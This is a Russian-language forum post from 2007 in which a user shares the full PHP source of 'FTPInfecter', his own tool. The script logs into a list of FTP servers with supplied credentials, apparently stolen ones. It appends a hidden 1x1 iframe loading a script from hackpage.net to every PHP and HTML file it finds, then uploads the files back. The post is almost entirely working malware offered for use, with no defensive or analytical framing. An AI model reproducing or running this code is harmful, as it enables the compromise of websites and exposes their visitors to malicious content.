Показать сообщение отдельно

  #56  
Старый 12.03.2007, 21:28
x-treem
Участник форума
Регистрация: 08.11.2006
Сообщений: 167
С нами: 10265490

Репутация: 54
По умолчанию

вот тут был скрипт, давно писал. фтпинфектер... во как.
создаём файл. туда пишем данные вот в таком виде:
ftp_server;login;pass

скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код
PHP код:
<?
## FTPInfecter by xtreem
## mail: xtreemx@gmail.com 

error_reporting(0);
set_magic_quotes_runtime(0);
@
set_time_limit(0);
@
ini_set('max_execution_time',0);
@
ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode'); 

echo 
" This is FTPInfecter script\n";
echo 
" Coded by xtreem(xtreemx@gmail.com)\n";
echo 
" example: FTPInfecter.php servers.db\n\n";

if (!
$argv[1])
{
$servdb = "servers.txt";
}else{
$servdb = $argv[1];
}
$code = "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>";

$file = file($servdb, "r");
$count = count($file);
$is = 0;
while (
$is < $count)
{
 
chomp;
 
$met = explode(';', $file[$is]);
$server = $met[0];
$user = $met[1];
$pass = $met[2];

if ((
$connect = ftp_connect($server)) && ($login = ftp_login($connect, $user, $pass))){
echo 
"CONNECTED TO:".$server."\n";
$buff = ftp_nlist($connect, '');
$d = count($buff);  
$i = 0;
while (
$d <> $i)
{
if (
$buff[$i] <> '.' && $buff[$i] <> '..'){
if (
ftp_chdir($connect, $buff[$i]))
{
echo 
"DIR: ".$buff[$i]."\n";
ftp_chdir($connect, '..');
}else{
$part = explode('.', $buff[$i]);
if (
$part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){
echo 
"FILE: ".$buff[$i]."\n";
$fp = fopen($buff[$i], 'w+');
if (
ftp_fget($connect, $fp, $buff[$i], FTP_ASCII, 0)) { 
echo 
"GET: ".$buff[$i]."\n";
}
fclose($fp); 
$fw = fopen($buff[$i], 'a');
fputs ($fw, $code);
fclose($fw);
echo 
"INFECTED: ".$buff[$i]."\n";
if (
ftp_put($connect, $buff[$i], $buff[$i], FTP_ASCII)) {
echo 
"PUT: ".$buff[$i]."\n";}
$del = unlink($buff[$i]);
if (
$del){echo "DELETE: ".$buff[$i]."\n\n";}
}
}
}
$i++;
}
ftp_close($connect);  
}else{echo 
"NOT CONNECT TO: ".$server."\n";}
$is++;
}
?>

Последний раз редактировалось nc.STRIEM; 12.03.2007 в 22:09..
 
Ответить с цитированием